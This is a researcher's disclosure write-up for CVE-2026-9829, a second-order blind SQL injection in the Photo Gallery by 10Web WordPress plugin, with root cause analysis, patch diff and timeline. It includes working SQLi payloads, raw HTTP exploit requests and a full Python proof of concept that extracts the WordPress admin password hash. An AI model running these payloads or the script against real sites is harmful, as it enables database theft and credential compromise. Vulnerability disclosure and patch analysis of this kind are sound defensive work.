Skip to content

CVE-2026-9829: Photo Gallery by 10Web Compact Album Second-Order Blind SQL Injection

TL;DR

  • I found an authenticated second-order time-based blind SQL injection vulnerability in Photo Gallery by 10Web, a WordPress gallery and album plugin.
  • It affected compact album shortcodes and could be exploited by a Contributor-level user.
  • A malicious compact_album_order_by shortcode value reached BWGModelSite::get_alb_gals_row() and was concatenated into an SQL ORDER BY clause.
  • The shortcode could be saved through the shortcode_bwg AJAX flow, then triggered through the public bwg_frontend_data AJAX endpoint.
  • The vulnerability allowed time-based blind extraction of database data, including the beginning of a WordPress admin password hash.
  • The issue affects Photo Gallery by 10Web <= 1.8.41, was assigned CVE-2026-9829, and was patched in 1.8.42.

Summary

Photo Gallery by 10Web was vulnerable to authenticated Contributor+ time-based blind SQL injection because compact album shortcode sort direction reached an album ORDER BY clause without being reduced to ASC or DESC.

  • CVE: CVE-2026-9829
  • Product: Photo Gallery by 10Web - Mobile-Friendly Image Gallery
  • Active Installs: 200,000+
  • Vulnerability: Second-Order Blind SQL Injection via compact_album_order_by
  • Affected Versions: <= 1.8.41
  • Fixed In: 1.8.42
  • CVSS Severity: 6.5 (medium)
  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
  • Required Privilege: Contributor+
  • NVD Published: June 6, 2026

The vulnerable path begins with shortcode configuration that a Contributor can save through the plugin's AJAX handler. When a compact album shortcode is later rendered, the saved compact_album_order_by value is reused as the album sort direction and appended to an SQL ORDER BY clause.

Because the payload is stored first and executed later, this is second-order SQL injection. A Contributor saves the payload in shortcode configuration, then the vulnerable SQL executes when the shortcode is rendered through the frontend album path.

Introduction

[A]I started by comparing Photo Gallery 1.8.40 and 1.8.41. The changelog entry said Fixed: Security fix, and the diff showed changes to frontend image sorting. Photo Gallery also lets shortcodes control how album views are sorted, so I checked whether any album queries still used those sort values directly.

Root Cause Analysis

The Shortcode Save Path

Photo Gallery stores generated shortcode configuration in the custom bwg_shortcode table. The request first enters the plugin's admin_ajax() dispatcher in photo-gallery.php, which chooses the permission check before routing to the shortcode controller.

// photo-gallery.php
public function admin_ajax() {
    $page = WDWLibrary::get('action');
    if ( $page == 'shortcode_' . $this->prefix ) {
      $permissions = 'edit_posts'; // [1] Contributor-level capability.
    }
    else {
      $permissions = $this->is_pro ? BWG()->options->permissions : 'manage_options';
    }
    if ( function_exists('current_user_can') ) {
      if ( !current_user_can($permissions) ) {
        die('Access Denied');
      }
    }
    // ... routing omitted; permission has already been checked.
}

For action=shortcode_bwg, the dispatcher sets $permissions to edit_posts at [1]. Contributors have that capability, so they can reach ShortcodeController_bwg in admin/controllers/Shortcode.php even though the plugin's other admin AJAX routes use the normal admin-level permission check.

The next expected gate is nonce validation, but the controller only verifies the nonce when $this->from_menu is true.

// admin/controllers/Shortcode.php
public function execute() {
    $task = WDWLibrary::get('task'); // [2] Caller controls the requested task.
    if ( $task != '' && $this->from_menu ) { // [3] Nonce check only runs from the menu context.
      if ( !WDWLibrary::verify_nonce(BWG()->nonce) ) {
        die('Sorry, your nonce did not verify.');
      }
    }
    if ( method_exists($this, $task) ) {
      $this->$task(); // [4] save() can still be reached through admin-ajax.php.
    }
    $this->display();
}

The request supplies task=save, which is read at [2]. In the AJAX context, the request has action=shortcode_bwg rather than page=shortcode_bwg, so $this->from_menu is false and the nonce check at [3] does not run. Execution then reaches the method dispatch and calls save() at [4].

The save() method reads tagtext with WDWLibrary::get() and writes it to bwg_shortcode.

// admin/controllers/Shortcode.php
public function save() {
    global $wpdb;
    $tagtext = WDWLibrary::get('tagtext'); // [5] Reads stored shortcode text from the request.
    if ($tagtext) {
      /* clear tags */
      $tagtext = " " . $tagtext; // [6] Stored as shortcode configuration.
      $id = WDWLibrary::get('currrent_id', 0, 'intval');
      $insert = WDWLibrary::get('bwg_insert', 0, 'intval');
      if (!$insert) {
        $wpdb->update($wpdb->prefix . 'bwg_shortcode', array(
        'tagtext' => $tagtext
        ), array('id' => $id), array('%s'), array('%d'));
      }
      else {
        $wpdb->insert($wpdb->prefix . 'bwg_shortcode', array(
          'id' => $id,
          'tagtext' => $tagtext
        ), array(
          '%d',
          '%s'
        ));
      }
    }
}

$wpdb->insert() and $wpdb->update() are fine for storing a string safely. The problem is that SQL-safe storage is not the same thing as SQL-safe later use. The tagtext value at [5] and [6] is still attacker-controlled shortcode configuration, and no per-field validation reduces the sort direction to a safe value before storing it.

For the initial timing check, I stored this compact album shortcode configuration.

gallery_type="album_compact_preview"
compact_album_order_by="ASC,IF(1>0,SLEEP(3),0)-- "
compact_album_sort_by="order"
album_id="0"

Shortcode Parameters Become Album Options

When the shortcode is rendered, Photo Gallery parses the stored tagtext back into parameters. The compact album branch maps compact_album_sort_by and compact_album_order_by into the album query options.

// framework/WDWLibrary.php
case 'album_compact_preview': {
    $defaults['album_sort_by'] = self::get_option_value(
        'compact_album_sort_by',
        'all_album_sort_by',
        'compact_album_sort_by',
        $use_option_defaults,
        $params
    ); // [7] Compact album sort column becomes album_sort_by.

    $defaults['album_order_by'] = self::get_option_value(
        'compact_album_order_by',
        'all_album_order_by',
        'compact_album_order_by',
        $use_option_defaults,
        $params
    ); // [8] Compact album sort direction becomes album_order_by.

    // ... other shortcode defaults omitted; they do not change album_order_by.
}

At [7], compact_album_sort_by becomes the album sort column. At [8], compact_album_order_by becomes album_order_by, so the original compact album shortcode value is later handled as the album sort direction.

The frontend controller passes those parsed values into the album model.

// frontend/controllers/controller.php
$album_gallery_rows = $this->model->get_alb_gals_row(
    $bwg,
    $params['album_gallery_id'],
    $params['images_per_page'],
    $params['album_sort_by'],  // [9] Sort column.
    $params['album_order_by'], // [10] Sort direction, originally compact_album_order_by.
    $params['image_enable_page'],
    $from
);

At [9], compact_album_sort_by="order" selects the column. At [10], the injected compact_album_order_by value becomes the sort direction argument.

The Album ORDER BY Sink

The vulnerable sink is BWGModelSite::get_alb_gals_row() in frontend/models/model.php.

// frontend/models/model.php
public function get_alb_gals_row( $bwg, $id, $albums_per_page, $sort_by, $order_by, $pagination_type = 0, $from = '' ) {
    $prepareArgs = array();
    if ( $albums_per_page < 0 ) {
      $albums_per_page = 0;
    }
    global $wpdb;
    $order_by = 'ORDER BY `' . ( ( !empty( $from ) && $from === 'widget' ) ? 'id' : $sort_by ) . '` ' . $order_by; // [11] Attacker-controlled sort direction is concatenated into ORDER BY.
    if ( $sort_by == 'random' || $sort_by == 'RAND()' ) {
      $order_by = 'ORDER BY RAND()';
    }

    // ... search filtering and pagination setup omitted; they do not validate $order_by.

    if ( $id == 0 ) {
      $query = 'SELECT * FROM `' . $wpdb->prefix . 'bwg_gallery` WHERE `published`=1' . str_replace('{{table}}', $wpdb->prefix . 'bwg_gallery', $search_where);
      $limitation = ' ' . $order_by . ' ' . $limit_str; // [12] ORDER BY fragment is carried into the query suffix.
      $sql = $query . $limitation; // [13] Final SQL contains the injected ORDER BY expression.
      if( !empty($prepareArgs) ) {
          $rows = $wpdb->get_results($wpdb->prepare($sql, $prepareArgs));
      } else {
          $rows = $wpdb->get_results($sql); // [14] Executes unprepared SQL when no search placeholders are present.
      }
    }

    // ... row decoration and pagination metadata omitted; SQL has already executed.
}

At [11], the plugin builds the ORDER BY fragment from the selected column and the attacker-controlled sort direction. That fragment is added to the pagination limit at [12], then appended to the gallery query at [13].

With compact_album_sort_by="order" and a normal sort direction, the query fragment should look like this.

ORDER BY `order` ASC

compact_album_order_by is appended after the column name as the sort direction. It is supposed to be asc or desc, but this path accepts a full SQL expression.

ORDER BY `order` ASC,IF(ORD(SUBSTR((SELECT user_pass FROM wp_users ORDER BY ID LIMIT 1),1,1))>96,SLEEP(3),0)--

For album_id="0", that fragment is appended to the gallery query.

SELECT *
FROM `wp_bwg_gallery`
WHERE `published`=1
ORDER BY `order` ASC,IF(ORD(SUBSTR((SELECT user_pass FROM wp_users ORDER BY ID LIMIT 1),1,1))>96,SLEEP(3),0)--  LIMIT 0,30

$prepareArgs stays empty and execution reaches $wpdb->get_results($sql) at [14]. If search filters add placeholders elsewhere in the query, the ORDER BY fragment is still already part of $sql by that point. $wpdb->prepare() can bind values, but it cannot turn a concatenated SQL fragment back into a safe sort direction.

Text Sanitisation Is Not SQL Grammar Validation

The shortcode value passes through text sanitisation before storage, but this is the wrong security boundary for an SQL ORDER BY direction.

sanitize_text_field() is useful for removing tags and normalising text fields. It does not turn arbitrary input into a safe SQL grammar token. Characters needed for this payload, such as commas, parentheses, comparison operators, and dashes, survive:

ASC,IF(1>0,SLEEP(3),0)--

For a sort direction, the safe design is much smaller. Accept asc, otherwise use desc, or vice versa. Anything more expressive than that is not a direction any more, it is SQL.

Trigger Path

The stored shortcode can be rendered through the frontend AJAX endpoint.

// photo-gallery.php
add_action('wp_ajax_bwg_frontend_data', array($this, 'frontend_data'));
add_action('wp_ajax_nopriv_bwg_frontend_data', array($this, 'frontend_data')); // [15] Unauthenticated users can trigger frontend rendering.

The nopriv registration at [15] means the trigger request does not need to be authenticated. Authentication is required for the write phase, because a Contributor has to create or edit the stored shortcode. Once the payload is stored, the vulnerable query can be triggered by requesting bwg_frontend_data with the shortcode ID.

The attack uses separate write and trigger requests.

Contributor -> admin-ajax.php?action=shortcode_bwg
               stores malicious compact album shortcode

Anyone      -> admin-ajax.php?action=bwg_frontend_data
               renders shortcode and executes injected ORDER BY expression

Impact

An authenticated Contributor could:

  • Turn compact album shortcode sorting into a time-based SQL oracle.
  • Read database values available to the WordPress database user.
  • Extract WordPress user password hashes one character at a time.
  • Use the public frontend renderer to execute the stored payload after the shortcode has been saved.

Extraction is slow because each timing check has to update the stored shortcode payload, trigger the frontend renderer, and wait for the SLEEP() difference. The confidentiality impact is still high because the injected expression runs inside the WordPress database query.

Exploitation

Preconditions

  • Photo Gallery by 10Web <= 1.8.41 is installed and active.
  • The attacker has a Contributor-level WordPress account.
  • At least one published gallery exists in Photo Gallery.
  • The attacker can save or update a Photo Gallery shortcode.

Manual Requests

First, store a malicious compact album shortcode. This request uses a Contributor session.

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.example
Cookie: wordpress_logged_in_...=<contributor session>
Content-Type: application/x-www-form-urlencoded

action=shortcode_bwg&task=save&bwg_insert=1&currrent_id=99999&tagtext=gallery_type="album_compact_preview" compact_album_order_by="ASC,IF(1>0,SLEEP(3),0)-- " compact_album_sort_by="order" album_id="0"

Then trigger the stored shortcode. This request does not need a WordPress session.

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded

action=bwg_frontend_data&shortcode_id=99999

A true condition sleeps.

ASC,IF(1>0,SLEEP(3),0)--

A false condition returns normally.

ASC,IF(1>1,SLEEP(3),0)--

Payload Constraints

The shortcode parser splits tagtext on " and then splits each attribute on =. That creates two practical constraints.

  • The payload cannot contain a double quote followed by a space, because that starts a new shortcode attribute.
  • The payload should avoid =, because that splits the key from the value.

The time-based payload used here does not need either of those. IF(), SLEEP(), ORD(), SUBSTR(), and comparison operators like > are enough for binary-search extraction. Each character takes about seven timing checks over the printable ASCII range.

The same save path can also update an existing shortcode ID with bwg_insert=0, so the attack is not limited to creating a new shortcode. I used compact_album_order_by because it directly controlled the sort direction. The adjacent $sort_by value is also used inside a backtick-delimited identifier, so it needs the same kind of whitelist treatment.

PoC

The cleaned-up script is below. The example query uses the default wp_users table, so change the table name if the target uses a custom WordPress prefix.

#!/usr/bin/env python3
import argparse
import sys
import time

import requests


SHORTCODE_ID = 99999
SLEEP_SECONDS = 1
THRESHOLD = 0.75


def banner(title):
    print(f"\n--- {title} ---\n")


def login(target, user, password):
    banner("Phase 1: Authentication")
    print(f"[*] Logging in as '{user}' via wp-login.php")
    session = requests.Session()
    session.post(
        f"{target}/wp-login.php",
        data={
            "log": user,
            "pwd": password,
            "wp-submit": "Log In",
            "redirect_to": f"{target}/wp-admin/",
            "testcookie": "1",
        },
        allow_redirects=False,
        timeout=15,
    )
    if not any("wordpress_logged_in" in cookie for cookie in session.cookies.keys()):
        sys.exit("[-] Login failed")
    print(f"[+] Authenticated as '{user}'")
    return session


def save_shortcode(session, target, order_by_payload):
    tagtext = (
        f'gallery_type="album_compact_preview" '
        f'compact_album_order_by="{order_by_payload}" '
        f'compact_album_sort_by="order" '
        f'album_id="0"'
    )
    data = {
        "action": "shortcode_bwg",
        "task": "save",
        "currrent_id": str(SHORTCODE_ID),
        "tagtext": tagtext,
    }
    data["bwg_insert"] = "0"
    session.post(f"{target}/wp-admin/admin-ajax.php", data=data, timeout=15)
    data["bwg_insert"] = "1"
    session.post(f"{target}/wp-admin/admin-ajax.php", data=data, timeout=15)


def trigger(target):
    start = time.time()
    try:
        requests.post(
            f"{target}/wp-admin/admin-ajax.php",
            data={
                "action": "bwg_frontend_data",
                "shortcode_id": str(SHORTCODE_ID),
            },
            timeout=SLEEP_SECONDS + 10,
        )
    except requests.Timeout:
        pass
    return time.time() - start


def confirm_sqli(session, target):
    banner("Phase 2: Storing malicious shortcode (no nonce needed)")
    payload = f"ASC,IF(1>0,SLEEP({SLEEP_SECONDS}),0)-- "
    print("[*] AJAX handler: shortcode_bwg (requires edit_posts)")
    print(f"[*] Shortcode ID: {SHORTCODE_ID}")
    print(f"[+] Payload stored: ORDER BY `order` {payload}")
    save_shortcode(session, target, payload)

    banner("Phase 3: Confirming SQL injection")
    print("[*] Trigger: bwg_frontend_data (unauthenticated)")

    true_payload = f"ASC,IF(1>0,SLEEP({SLEEP_SECONDS}),0)-- "
    false_payload = f"ASC,IF(1>1,SLEEP({SLEEP_SECONDS}),0)-- "

    save_shortcode(session, target, true_payload)
    true_time = trigger(target)
    print(f"[*] Testing true condition  (1>0 -> SLEEP)... {true_time:.2f}s")

    save_shortcode(session, target, false_payload)
    false_time = trigger(target)
    print(f"[*] Testing false condition (1>1 -> no SLEEP)... {false_time:.2f}s")

    difference = true_time - false_time
    if difference < THRESHOLD:
        sys.exit("[-] Timing difference was too small")
    print(f"[+] Differential: {difference:.2f}s - SQL injection confirmed!")


def extract_char(session, target, position, query):
    low, high = 32, 126
    while low < high:
        mid = (low + high) // 2
        payload = (
            f"ASC,IF(ORD(SUBSTR(({query}),{position},1))>"
            f"{mid},SLEEP({SLEEP_SECONDS}),0)-- "
        )
        save_shortcode(session, target, payload)
        if trigger(target) >= THRESHOLD:
            low = mid + 1
        else:
            high = mid
    return chr(low) if 32 <= low <= 126 else ""


def print_progress(current, total, result):
    width = 40
    filled = int(width * current / total)
    bar = "=" * filled + " " * (width - filled)
    sys.stdout.write(f"\r[{bar}] {current}/{total} {result}")
    sys.stdout.flush()


def main():
    parser = argparse.ArgumentParser(description="Photo Gallery <= 1.8.41 SQLi PoC")
    parser.add_argument("--target", required=True, help="WordPress base URL")
    parser.add_argument("--user", default="contributor")
    parser.add_argument("--password", default="contributor")
    parser.add_argument("--chars", type=int, default=20)
    args = parser.parse_args()

    target = args.target.rstrip("/")
    session = login(target, args.user, args.password)
    confirm_sqli(session, target)

    query = "SELECT user_pass FROM wp_users ORDER BY ID LIMIT 1"
    banner("Phase 4: Extracting admin password hash")
    print(f"[*] Query: {query}")
    print(f"[*] Method: binary search, {SLEEP_SECONDS}s sleep per bit")
    print(f"[*] Characters to extract: {args.chars}\n")
    result = ""
    for position in range(1, args.chars + 1):
        result += extract_char(session, target, position, query)
        print_progress(position, args.chars, result)

    print(f"\n\n[+] Extracted hash: {result}")
    if result.startswith("$P$") or result.startswith("$wp$"):
        print("[+] Format: WordPress password hash (bcrypt/phpass)")
    print("\n[+] PoC complete - arbitrary database read confirmed")


if __name__ == "__main__":
    main()

Demo

The first screenshot shows the timing check before extraction starts.

Terminal output showing the Photo Gallery by 10Web SQL injection PoC logging in, storing the malicious shortcode, confirming the SQL injection, and beginning character extraction

The completed run below shows the first 20 characters extracted.

Terminal output showing the Photo Gallery by 10Web SQL injection PoC extracting the first 20 characters of a WordPress admin password hash

Patch Diffing

Version 1.8.42 fixes the bug in three places. It forces nonce validation for shortcode saves, sanitises stored shortcode sort values, and rebuilds the album ORDER BY clause from whitelisted tokens.

Nonce Check For Shortcode Save

The shortcode controller now verifies the nonce for task=save, even when the controller is reached through the AJAX route.

 public function execute() {
   $task = WDWLibrary::get('task');
-  if ( $task != '' && $this->from_menu ) {
+  if ( $task != '' && ( $this->from_menu || $task === 'save' ) ) {
     if ( !WDWLibrary::verify_nonce(BWG()->nonce) ) {
       die('Sorry, your nonce did not verify.');
     }

Shortcode Sort Sanitisation Before Storage

The shortcode text is now sanitised before it is written to bwg_shortcode, using a new sanitize_shortcode_tagtext() helper:

 public function save() {
   global $wpdb;
   $tagtext = WDWLibrary::get('tagtext');
   if ($tagtext) {
+    $tagtext = WDWLibrary::sanitize_shortcode_tagtext( $tagtext );
     /* clear tags */
     $tagtext = " " . $tagtext;

It parses shortcode attributes and reduces *_order_by values to asc or desc, so the payload value is not stored as SQL.

Album ORDER BY Whitelist

The sink-side fix is in get_alb_gals_row(). The album sort column and direction are now sanitised before the ORDER BY clause is rebuilt.

 global $wpdb;
-$order_by = 'ORDER BY `' . ( ( !empty( $from ) && $from === 'widget' ) ? 'id' : $sort_by ) . '` ' . $order_by;
-if ( $sort_by == 'random' || $sort_by == 'RAND()' ) {
+$sort_by = WDWLibrary::sanitize_album_sort_column( $sort_by, $from );
+$sort_direction = WDWLibrary::sanitize_sort_direction( $order_by );
+if ( $sort_by === 'random' ) {
   $order_by = 'ORDER BY RAND()';
 }
+else {
+  $order_by = 'ORDER BY `' . $sort_by . '` ' . $sort_direction;
+}

sanitize_album_sort_column() maps the column to a known album field, and sanitize_sort_direction() maps the direction to ASC or DESC. The stored shortcode value no longer reaches the SQL grammar directly.

Remediation

Site owners should update Photo Gallery by 10Web to version 1.8.42 or later.

If immediate patching is not possible, restrict untrusted Contributor access and avoid creating or editing Photo Gallery shortcodes until the plugin can be updated.

Disclosure Timeline

  • May 17, 2026: Submitted to the Wordfence bug bounty program.
  • May 22, 2026: Triage started.
  • May 28, 2026: Report validated and CVE-2026-9829 assigned.
  • May 29, 2026: $60 bounty awarded.
  • June 5, 2026: Published by Wordfence as CVE-2026-9829.

Conclusion

The root cause was the gap between SQL-safe storage and SQL-safe later use. A Contributor could write the shortcode, the frontend renderer treated the saved sort direction as a SQL fragment, and the album query concatenated it directly into ORDER BY.

Version 1.8.42 fixes both sides of that flow. It sanitises shortcode sort attributes before storage, and it hardens the album query sink itself. Stored data can be old, migrated, imported, or written through a different path, so the sink still needs to protect its own SQL grammar.

References